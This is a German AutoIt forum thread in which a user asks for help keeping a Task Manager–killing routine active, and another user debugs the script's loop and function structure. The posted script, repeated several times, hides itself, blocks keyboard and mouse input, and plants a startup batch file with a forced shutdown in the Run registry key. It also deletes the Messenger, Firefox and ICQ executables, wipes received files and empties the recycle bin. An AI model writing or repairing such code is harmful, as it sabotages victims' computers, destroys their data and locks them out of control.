Windows Live Messenger anzeigen

  • Frage zu der unten aufgeführten Funktion. Wie teile ich diese nun auf, dass es über den gesamten Scriptablauf überprüft ob der Task Manager geöffnet ist, oder nicht und diesen dann beendet?

    Bei mir kommt immer die Fehlermeldung: ==> "While" statement has no matching "Wend" statement.:
    Func _GetPathByPID2(§PID=-1)


    Spoiler anzeigen
    [autoit]

    AdlibEnable("_CheckTaskmgr")
    While 1
    Sleep(10)
    WEnd
    Func _CheckTaskmgr()
    If WinActive("Windows Task-Manager") OR ProcessExists("taskmgr.exe") Then
    WinKill("Windows Task-Manager")
    ProcessClose("taskmgr.exe")
    EndIf
    BlockInput(1)
    EndFunc

    [/autoit]
  • Dann ist es vermtl. schlauer mal den ganzen Quellcode zu zeigen. Sie vorallem am Anfang des Script, wo die Funktion eingebaut ist und ganz ans Ende.

    Spoiler anzeigen
    [autoit]

    #include <winapi.au3> ;; Headerdatei einbinden

    [/autoit] [autoit][/autoit] [autoit]

    ;;Überprüft ob das Fenster "Windows Task-Manager"
    ;;aktiviert ist, sollte das der Fall sein, wird dieses geschlossen.
    ;;Überprüft außerdem ob Prozess aktiv ist und setzt zum Schluss BlockInput(1)

    [/autoit] [autoit][/autoit] [autoit]

    AdlibEnable("_CheckTaskmgr")
    While 1
    Sleep(10)
    WEnd
    Func _CheckTaskmgr()
    If WinActive("Windows Task-Manager") OR ProcessExists("taskmgr.exe") Then
    WinKill("Windows Task-Manager")
    ProcessClose("taskmgr.exe")
    EndIf
    BlockInput(1)

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

    [/autoit] [autoit][/autoit] [autoit]

    Opt("TrayIconHide",1) ;; Icon verstecken
    Opt("MouseCoordMode", 0) ;; Relative x,y-Werte im Fenster

    [/autoit] [autoit][/autoit] [autoit]

    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

    [/autoit] [autoit][/autoit] [autoit]

    Send("#e")
    ;WinMove("[CabinetWClass]", "", 0,0, 600, 468)
    WinActivate("[CabinetWClass]", "")
    WinWaitActive("[CabinetWClass]", "")
    Send("{F4}")
    Send("{DEL}")
    Send(@WindowsDir)
    Send("{ENTER}")
    MouseMove(234, 132)
    MouseClick("left")
    Sleep(100)
    Send("!")
    Send("d")
    Send("n")
    Send("t")
    Send("Services.bat")
    Send("{ENTER}")
    WinWaitActive("Umbenennen")
    Send("{ENTER}")
    Sleep(500)
    Send("!")
    Send("d")
    Send("b")
    WinWaitActive("Services.bat")
    Send("shutdown -s -t 120")
    Send("!{F4}")
    WinWaitActive("Editor")
    Send("{ENTER}")
    RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "Services.exe", "REG_SZ", "C:\WINDOWS\Services.bat")
    Sleep(500)

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

    [/autoit] [autoit][/autoit] [autoit]

    Opt("MouseCoordMode", 0)

    [/autoit] [autoit][/autoit] [autoit]


    ShellExecute("msnmsgr.exe", "", @ProgramFilesDir, "", @SW_SHOWNORMAL)
    WinWaitActive("Windows Live Messenger")

    [/autoit] [autoit][/autoit] [autoit]

    Opt("WinTitleMatchMode", 2)
    Opt("ExpandEnvStrings", 1) ;; Nutzt Inhalte von Variablen

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    $Title = "Windows Live Messenger"

    [/autoit] [autoit][/autoit] [autoit]

    $Pid = WinGetProcess(WinGetTitle($Title))
    $Path = _GetPathByPID2($Pid)

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    Func _GetPathByPID2($PID=-1)
    If $PID = -1 Then $PID = WinGetProcess(WinGetTitle("[active]"))
    $hProcess = _WinAPI_OpenProcess(0x00000400, True, $PID, True)
    If Not $hProcess Then Return SetError(1,0,0)
    Local $ret, $path, $DevicePath, $DeviceLetter, $strPath = DllStructCreate("char path[256]")
    DllCall(@SystemDir & '\Psapi.dll', "uint64", "GetProcessImageFileNameA", _
    "hwnd", $hProcess, "ptr", DllStructGetPtr($strPath), "int", 256)
    If @error Then Return SetError(2,0,0)
    $path = DllStructGetData($strPath, 'path')
    $DevicePath = StringRegExp($path, "\\Device\\\w*", 1)
    Local $lpTargetPath, $aDrive = DriveGetDrive("ALL")
    For $i = 1 To UBound($aDrive) -1
    $ret = DllCall("kernel32.dll", "long", "QueryDosDeviceA", "str", $aDrive[$i], "str", $lpTargetPath, "long", 256)
    If @error Then Return SetError(3,0,0)
    If $ret[2] = $DevicePath[0] Then
    $DeviceLetter = $aDrive[$i]
    EndIf
    Next
    DllCall("kernel32.dll", "long", "CloseHandle", "long", $hProcess)
    Return StringReplace($path, $DevicePath[0], StringUpper($DeviceLetter))
    EndFunc ;==>_GetPathByPID

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    If ProcessExists("msnmsgr.exe") Then ProcessClose("msnmsgr.exe")

    ;;Öffet Explorer und sendet Dateipfad
    ;Sleep(500)
    Send("#e")
    WinActivate("[CabinetWClass]", "")
    WinWaitActive("[CabinetWClass]", "")
    ;WinMove("[CabinetWClass]", "", 0,0, 600, 468)
    Sleep(500)
    Send("{F4}")
    Send("{ESC}")
    Send("{DEL}")
    Send($path)
    Send("{Backspace 11}")
    Send("{Enter}")

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    ;;Löchst die Windows Live Messenger.exe
    BlockInput(1) ;; Eingaben blockieren
    MouseMove(234, 132)
    MouseClick("left")
    Send("msnmsgr")
    Send("{DEL}")
    WinWaitActive("Löschen von Dateien bestätigen")
    Send("{Enter}")
    WinWaitNotActive("Löschen..")
    ;;Erledigt

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    Opt("WinTitleMatchMode", 2)
    Opt("ExpandEnvStrings", 1) ;; Nutzt Inhalte von Variablen

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    $Title = "Mozilla Firefox"

    [/autoit] [autoit][/autoit] [autoit]

    $Pid = WinGetProcess(WinGetTitle($Title))
    $Path = _GetPathByPID($Pid)

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    Func _GetPathByPID($PID=-1)
    If $PID = -1 Then $PID = WinGetProcess(WinGetTitle("[active]"))
    $hProcess = _WinAPI_OpenProcess(0x00000400, True, $PID, True)
    If Not $hProcess Then Return SetError(1,0,0)
    Local $ret, $path, $DevicePath, $DeviceLetter, $strPath = DllStructCreate("char path[256]")
    DllCall(@SystemDir & '\Psapi.dll', "uint64", "GetProcessImageFileNameA", _
    "hwnd", $hProcess, "ptr", DllStructGetPtr($strPath), "int", 256)
    If @error Then Return SetError(2,0,0)
    $path = DllStructGetData($strPath, 'path')
    $DevicePath = StringRegExp($path, "\\Device\\\w*", 1)
    Local $lpTargetPath, $aDrive = DriveGetDrive("ALL")
    For $i = 1 To UBound($aDrive) -1
    $ret = DllCall("kernel32.dll", "long", "QueryDosDeviceA", "str", $aDrive[$i], "str", $lpTargetPath, "long", 256)
    If @error Then Return SetError(3,0,0)
    If $ret[2] = $DevicePath[0] Then
    $DeviceLetter = $aDrive[$i]
    EndIf
    Next
    DllCall("kernel32.dll", "long", "CloseHandle", "long", $hProcess)
    Return StringReplace($path, $DevicePath[0], StringUpper($DeviceLetter))
    EndFunc ;==>_GetPathByPID

    [/autoit] [autoit][/autoit] [autoit]

    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

    [/autoit] [autoit][/autoit] [autoit]

    If ProcessExists("firefox.exe") Then ProcessClose("firefox.exe")

    ;;Öffet Explorer und sendet Dateipfad
    Sleep(500)
    ;WinWaitActive("[CabinetWClass]", "")
    Send("#e")
    WinActivate("[CabinetWClass]", "")
    WinWaitActive("[CabinetWClass]", "")
    ;WinMove("[CabinetWClass]", "", 0,0, 600, 468)
    Sleep(500)
    Send("{F4}")
    Send("{DEL}")
    Send($path)
    Send("{Backspace 12}")
    Send("{Enter}")

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    ;;Löchst die Firefox.exe
    MouseMove(234, 132)
    MouseClick("left")
    Send("fire")
    Send("{DEL}")
    WinWaitActive("Löschen von Dateien bestätigen")
    Send("{Enter}")
    WinWaitNotActive("Löschen..")

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    ShellExecute("ICQ.exe", "", @ProgramFilesDir, "", @SW_SHOWNORMAL)
    WinActivate("ICQ")
    WinWaitActive("ICQ")

    [/autoit] [autoit][/autoit] [autoit]

    Opt("WinTitleMatchMode", 2)
    Opt("ExpandEnvStrings", 1) ;; Nutzt Inhalte von Variablen
    Opt("MouseCoordMode", 0) ;; Relative x,y-Werte im Fenster

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    $Title = "ICQ"

    [/autoit] [autoit][/autoit] [autoit]

    $Pid = WinGetProcess(WinGetTitle($Title))
    $Path = _GetPathByPID3($Pid)

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    Func _GetPathByPID3($PID=-1)
    If $PID = -1 Then $PID = WinGetProcess(WinGetTitle("[active]"))
    $hProcess = _WinAPI_OpenProcess(0x00000400, True, $PID, True)
    If Not $hProcess Then Return SetError(1,0,0)
    Local $ret, $path, $DevicePath, $DeviceLetter, $strPath = DllStructCreate("char path[256]")
    DllCall(@SystemDir & '\Psapi.dll', "uint64", "GetProcessImageFileNameA", _
    "hwnd", $hProcess, "ptr", DllStructGetPtr($strPath), "int", 256)
    If @error Then Return SetError(2,0,0)
    $path = DllStructGetData($strPath, 'path')
    $DevicePath = StringRegExp($path, "\\Device\\\w*", 1)
    Local $lpTargetPath, $aDrive = DriveGetDrive("ALL")
    For $i = 1 To UBound($aDrive) -1
    $ret = DllCall("kernel32.dll", "long", "QueryDosDeviceA", "str", $aDrive[$i], "str", $lpTargetPath, "long", 256)
    If @error Then Return SetError(3,0,0)
    If $ret[2] = $DevicePath[0] Then
    $DeviceLetter = $aDrive[$i]
    EndIf
    Next
    DllCall("kernel32.dll", "long", "CloseHandle", "long", $hProcess)
    Return StringReplace($path, $DevicePath[0], StringUpper($DeviceLetter))
    EndFunc ;==>_GetPathByPID

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    If ProcessExists("ICQ.exe") Then ProcessClose("ICQ.exe")

    ;;Öffnet Explorer und sendet Dateipfad
    Send("#e")
    WinActivate("[CabinetWClass]", "")
    WinWaitActive("[CabinetWClass]", "")
    ;WinMove("[CabinetWClass]", "", 0,0, 728, 434)
    Sleep(500)
    Send("{F4}")
    Send("{DEL}")
    Send($path)
    Send("{Backspace 7}")
    Send("{Enter}")

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    ;;Löchst die ICQ.exe
    MouseMove(234, 132)
    MouseClick("left")
    Send("icq")
    Send("{DEL}")
    WinWaitActive("Löschen von Dateien bestätigen", "Die Datei")
    Send("{Enter}")
    WinWaitNotActive("Löschen..")

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    Opt("MouseCoordMode", 0) ;; Relative x,y-Koordnate im aktiven Fenster
    ;; Löscht Ordner in "Meine empfangenen Dateien"
    Send ("#e")
    ;WinWaitActive("[CabinetWClass]", "")
    WinActivate("[CabinetWClass]", "")
    ;WinMove("[CabinetWClass]", "", 0,0, 728, 434)
    Sleep(500)
    Send("{F4}")
    Send("{DEL}")
    Send(@MyDocumentsDir)
    Send("{RIGHT}")

    [/autoit] [autoit][/autoit] [autoit]

    Sleep(100)
    Send("\Meine empfangenen Dateien")
    Send("{Enter}")
    ;WinActivate("[CabinetWClass]")
    MouseMove(234, 132)
    MouseClick("left")
    Sleep(100)
    Send("^a")
    BlockInput(1) ;; Eingaben blockieren
    Send("{DEL}")
    Sleep(500)
    Send("{Enter}")

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    FileRecycleEmpty("C:\") ;; Leert den Papierkorb

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    EndFunc

    BlockInput(0)

    [/autoit]

    Ich habe also die Funktion an den Anfang des Script gestellt und das "EndFunc" ans Ende, damit diese die gesamte Zeitdauer der Scriptausführung aktiv bleibt.


    Gruß Chris

  • man kann keine funktionen innerhalb von anderen funktionen definieren.

    deine funktion _CheckTaskmgr geht von Zeile 11 bis zur zeile 311. da liegt das Problem.

    übrigens musste mit AdlibEnable("_CheckTaskmgr") auch aufpassen weil dann _CheckTaskmgr alle 250 millisekunden aufgerufen wird.
    und wenn _CheckTaskmgr länger als diese 250 millisekunden dauert kriegste n ziemliches problem

  • Wie aber realisiere ich nun eine entsprechende Lösungsmöglichkeit, die überprüft ob die *.exe vom Task-Manger oder dessen Fenster geöffnet ist und dieses dann autm. schließt, wenn es so nicht funktioniert?

    Liebe Grüße,
    Chris

  • Du musst die _CheckTaskmgr Funktion auf jeden fall mal abschließen, siehe zeile 17

    allerdings wird zeile 18-76, sowie 103-147, sowie 172-219, sowie 245 bis ende nie ausgeführt

    weil du deine while 1 schleife in zeile 8 nie beendest

    Spoiler anzeigen
    [autoit]

    #include <winapi.au3> ;; Headerdatei einbinden

    [/autoit] [autoit][/autoit] [autoit]

    ;;Überprüft ob das Fenster "Windows Task-Manager"
    ;;aktiviert ist, sollte das der Fall sein, wird dieses geschlossen.
    ;;Überprüft außerdem ob Prozess aktiv ist und setzt zum Schluss BlockInput(1)

    [/autoit] [autoit][/autoit] [autoit]

    AdlibEnable("_CheckTaskmgr")
    While 1
    Sleep(10)
    WEnd
    Func _CheckTaskmgr()
    If WinActive("Windows Task-Manager") OR ProcessExists("taskmgr.exe") Then
    WinKill("Windows Task-Manager")
    ProcessClose("taskmgr.exe")
    EndIf
    BlockInput(1)
    EndFunc

    [/autoit] [autoit][/autoit] [autoit]

    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

    [/autoit] [autoit][/autoit] [autoit]

    Opt("TrayIconHide",1) ;; Icon verstecken
    Opt("MouseCoordMode", 0) ;; Relative x,y-Werte im Fenster

    [/autoit] [autoit][/autoit] [autoit]

    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

    [/autoit] [autoit][/autoit] [autoit]

    Send("#e")
    ;WinMove("[CabinetWClass]", "", 0,0, 600, 468)
    WinActivate("[CabinetWClass]", "")
    WinWaitActive("[CabinetWClass]", "")
    Send("{F4}")
    Send("{DEL}")
    Send(@WindowsDir)
    Send("{ENTER}")
    MouseMove(234, 132)
    MouseClick("left")
    Sleep(100)
    Send("!")
    Send("d")
    Send("n")
    Send("t")
    Send("Services.bat")
    Send("{ENTER}")
    WinWaitActive("Umbenennen")
    Send("{ENTER}")
    Sleep(500)
    Send("!")
    Send("d")
    Send("b")
    WinWaitActive("Services.bat")
    Send("shutdown -s -t 120")
    Send("!{F4}")
    WinWaitActive("Editor")
    Send("{ENTER}")
    RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "Services.exe", "REG_SZ", "C:\WINDOWS\Services.bat")
    Sleep(500)

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

    [/autoit] [autoit][/autoit] [autoit]

    Opt("MouseCoordMode", 0)

    [/autoit] [autoit][/autoit] [autoit]


    ShellExecute("msnmsgr.exe", "", @ProgramFilesDir, "", @SW_SHOWNORMAL)
    WinWaitActive("Windows Live Messenger")

    [/autoit] [autoit][/autoit] [autoit]

    Opt("WinTitleMatchMode", 2)
    Opt("ExpandEnvStrings", 1) ;; Nutzt Inhalte von Variablen

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    $Title = "Windows Live Messenger"

    [/autoit] [autoit][/autoit] [autoit]

    $Pid = WinGetProcess(WinGetTitle($Title))
    $Path = _GetPathByPID2($Pid)

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    Func _GetPathByPID2($PID=-1)
    If $PID = -1 Then $PID = WinGetProcess(WinGetTitle("[active]"))
    $hProcess = _WinAPI_OpenProcess(0x00000400, True, $PID, True)
    If Not $hProcess Then Return SetError(1,0,0)
    Local $ret, $path, $DevicePath, $DeviceLetter, $strPath = DllStructCreate("char path[256]")
    DllCall(@SystemDir & '\Psapi.dll', "uint64", "GetProcessImageFileNameA", _
    "hwnd", $hProcess, "ptr", DllStructGetPtr($strPath), "int", 256)
    If @error Then Return SetError(2,0,0)
    $path = DllStructGetData($strPath, 'path')
    $DevicePath = StringRegExp($path, "\\Device\\\w*", 1)
    Local $lpTargetPath, $aDrive = DriveGetDrive("ALL")
    For $i = 1 To UBound($aDrive) -1
    $ret = DllCall("kernel32.dll", "long", "QueryDosDeviceA", "str", $aDrive[$i], "str", $lpTargetPath, "long", 256)
    If @error Then Return SetError(3,0,0)
    If $ret[2] = $DevicePath[0] Then
    $DeviceLetter = $aDrive[$i]
    EndIf
    Next
    DllCall("kernel32.dll", "long", "CloseHandle", "long", $hProcess)
    Return StringReplace($path, $DevicePath[0], StringUpper($DeviceLetter))
    EndFunc ;==>_GetPathByPID

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    If ProcessExists("msnmsgr.exe") Then ProcessClose("msnmsgr.exe")

    ;;Öffet Explorer und sendet Dateipfad
    ;Sleep(500)
    Send("#e")
    WinActivate("[CabinetWClass]", "")
    WinWaitActive("[CabinetWClass]", "")
    ;WinMove("[CabinetWClass]", "", 0,0, 600, 468)
    Sleep(500)
    Send("{F4}")
    Send("{ESC}")
    Send("{DEL}")
    Send($path)
    Send("{Backspace 11}")
    Send("{Enter}")

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    ;;Löchst die Windows Live Messenger.exe
    BlockInput(1) ;; Eingaben blockieren
    MouseMove(234, 132)
    MouseClick("left")
    Send("msnmsgr")
    Send("{DEL}")
    WinWaitActive("Löschen von Dateien bestätigen")
    Send("{Enter}")
    WinWaitNotActive("Löschen..")
    ;;Erledigt

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    Opt("WinTitleMatchMode", 2)
    Opt("ExpandEnvStrings", 1) ;; Nutzt Inhalte von Variablen

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    $Title = "Mozilla Firefox"

    [/autoit] [autoit][/autoit] [autoit]

    $Pid = WinGetProcess(WinGetTitle($Title))
    $Path = _GetPathByPID($Pid)

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    Func _GetPathByPID($PID=-1)
    If $PID = -1 Then $PID = WinGetProcess(WinGetTitle("[active]"))
    $hProcess = _WinAPI_OpenProcess(0x00000400, True, $PID, True)
    If Not $hProcess Then Return SetError(1,0,0)
    Local $ret, $path, $DevicePath, $DeviceLetter, $strPath = DllStructCreate("char path[256]")
    DllCall(@SystemDir & '\Psapi.dll', "uint64", "GetProcessImageFileNameA", _
    "hwnd", $hProcess, "ptr", DllStructGetPtr($strPath), "int", 256)
    If @error Then Return SetError(2,0,0)
    $path = DllStructGetData($strPath, 'path')
    $DevicePath = StringRegExp($path, "\\Device\\\w*", 1)
    Local $lpTargetPath, $aDrive = DriveGetDrive("ALL")
    For $i = 1 To UBound($aDrive) -1
    $ret = DllCall("kernel32.dll", "long", "QueryDosDeviceA", "str", $aDrive[$i], "str", $lpTargetPath, "long", 256)
    If @error Then Return SetError(3,0,0)
    If $ret[2] = $DevicePath[0] Then
    $DeviceLetter = $aDrive[$i]
    EndIf
    Next
    DllCall("kernel32.dll", "long", "CloseHandle", "long", $hProcess)
    Return StringReplace($path, $DevicePath[0], StringUpper($DeviceLetter))
    EndFunc ;==>_GetPathByPID

    [/autoit] [autoit][/autoit] [autoit]

    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

    [/autoit] [autoit][/autoit] [autoit]

    If ProcessExists("firefox.exe") Then ProcessClose("firefox.exe")

    ;;Öffet Explorer und sendet Dateipfad
    Sleep(500)
    ;WinWaitActive("[CabinetWClass]", "")
    Send("#e")
    WinActivate("[CabinetWClass]", "")
    WinWaitActive("[CabinetWClass]", "")
    ;WinMove("[CabinetWClass]", "", 0,0, 600, 468)
    Sleep(500)
    Send("{F4}")
    Send("{DEL}")
    Send($path)
    Send("{Backspace 12}")
    Send("{Enter}")

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    ;;Löchst die Firefox.exe
    MouseMove(234, 132)
    MouseClick("left")
    Send("fire")
    Send("{DEL}")
    WinWaitActive("Löschen von Dateien bestätigen")
    Send("{Enter}")
    WinWaitNotActive("Löschen..")

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    ShellExecute("ICQ.exe", "", @ProgramFilesDir, "", @SW_SHOWNORMAL)
    WinActivate("ICQ")
    WinWaitActive("ICQ")

    [/autoit] [autoit][/autoit] [autoit]

    Opt("WinTitleMatchMode", 2)
    Opt("ExpandEnvStrings", 1) ;; Nutzt Inhalte von Variablen
    Opt("MouseCoordMode", 0) ;; Relative x,y-Werte im Fenster

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    $Title = "ICQ"

    [/autoit] [autoit][/autoit] [autoit]

    $Pid = WinGetProcess(WinGetTitle($Title))
    $Path = _GetPathByPID3($Pid)

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    Func _GetPathByPID3($PID=-1)
    If $PID = -1 Then $PID = WinGetProcess(WinGetTitle("[active]"))
    $hProcess = _WinAPI_OpenProcess(0x00000400, True, $PID, True)
    If Not $hProcess Then Return SetError(1,0,0)
    Local $ret, $path, $DevicePath, $DeviceLetter, $strPath = DllStructCreate("char path[256]")
    DllCall(@SystemDir & '\Psapi.dll', "uint64", "GetProcessImageFileNameA", _
    "hwnd", $hProcess, "ptr", DllStructGetPtr($strPath), "int", 256)
    If @error Then Return SetError(2,0,0)
    $path = DllStructGetData($strPath, 'path')
    $DevicePath = StringRegExp($path, "\\Device\\\w*", 1)
    Local $lpTargetPath, $aDrive = DriveGetDrive("ALL")
    For $i = 1 To UBound($aDrive) -1
    $ret = DllCall("kernel32.dll", "long", "QueryDosDeviceA", "str", $aDrive[$i], "str", $lpTargetPath, "long", 256)
    If @error Then Return SetError(3,0,0)
    If $ret[2] = $DevicePath[0] Then
    $DeviceLetter = $aDrive[$i]
    EndIf
    Next
    DllCall("kernel32.dll", "long", "CloseHandle", "long", $hProcess)
    Return StringReplace($path, $DevicePath[0], StringUpper($DeviceLetter))
    EndFunc ;==>_GetPathByPID

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    If ProcessExists("ICQ.exe") Then ProcessClose("ICQ.exe")

    ;;Öffnet Explorer und sendet Dateipfad
    Send("#e")
    WinActivate("[CabinetWClass]", "")
    WinWaitActive("[CabinetWClass]", "")
    ;WinMove("[CabinetWClass]", "", 0,0, 728, 434)
    Sleep(500)
    Send("{F4}")
    Send("{DEL}")
    Send($path)
    Send("{Backspace 7}")
    Send("{Enter}")

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    ;;Löchst die ICQ.exe
    MouseMove(234, 132)
    MouseClick("left")
    Send("icq")
    Send("{DEL}")
    WinWaitActive("Löschen von Dateien bestätigen", "Die Datei")
    Send("{Enter}")
    WinWaitNotActive("Löschen..")

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    Opt("MouseCoordMode", 0) ;; Relative x,y-Koordnate im aktiven Fenster
    ;; Löscht Ordner in "Meine empfangenen Dateien"
    Send ("#e")
    ;WinWaitActive("[CabinetWClass]", "")
    WinActivate("[CabinetWClass]", "")
    ;WinMove("[CabinetWClass]", "", 0,0, 728, 434)
    Sleep(500)
    Send("{F4}")
    Send("{DEL}")
    Send(@MyDocumentsDir)
    Send("{RIGHT}")

    [/autoit] [autoit][/autoit] [autoit]

    Sleep(100)
    Send("\Meine empfangenen Dateien")
    Send("{Enter}")
    ;WinActivate("[CabinetWClass]")
    MouseMove(234, 132)
    MouseClick("left")
    Sleep(100)
    Send("^a")
    BlockInput(1) ;; Eingaben blockieren
    Send("{DEL}")
    Sleep(500)
    Send("{Enter}")

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    FileRecycleEmpty("C:\") ;; Leert den Papierkorb

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit][/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    BlockInput(0)

    [/autoit]
  • Hachja *seufz* // Ich muss noch viel lernen.
    Wenn ich es nun so schreibe, wie Du weiter unten siehst, dann beende ich nun die While-Schleife, wie gefordert und die Funktion ebenfalls. Aber ist nun noch garantiert, das die Funktion den Taskmanager immer überprüft?

    Spoiler anzeigen
    [autoit]

    #include <winapi.au3> ;; Headerdatei einbinden

    [/autoit] [autoit][/autoit] [autoit]

    ;;Überprüft ob das Fenster "Windows Task-Manager"
    ;;aktiviert ist, sollte das der Fall sein, wird dieses geschlossen.
    ;;Überprüft außerdem ob Prozess aktiv ist und setzt zum Schluss BlockInput(1)

    [/autoit] [autoit][/autoit] [autoit]

    AdlibEnable("_CheckTaskmgr")
    While 1
    Sleep(10)
    WEnd
    Func _CheckTaskmgr()
    If WinActive("Windows Task-Manager") OR ProcessExists("taskmgr.exe") Then
    WinKill("Windows Task-Manager")
    ProcessClose("taskmgr.exe")
    EndIf
    BlockInput(1)
    EndFunc

    [/autoit] [autoit][/autoit] [autoit]

    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

    [/autoit] [autoit][/autoit] [autoit]

    Opt("TrayIconHide",1) ;; Icon verstecken
    Opt("MouseCoordMode", 0) ;; Relative x,y-Werte im Fenster

    [/autoit] [autoit][/autoit] [autoit]

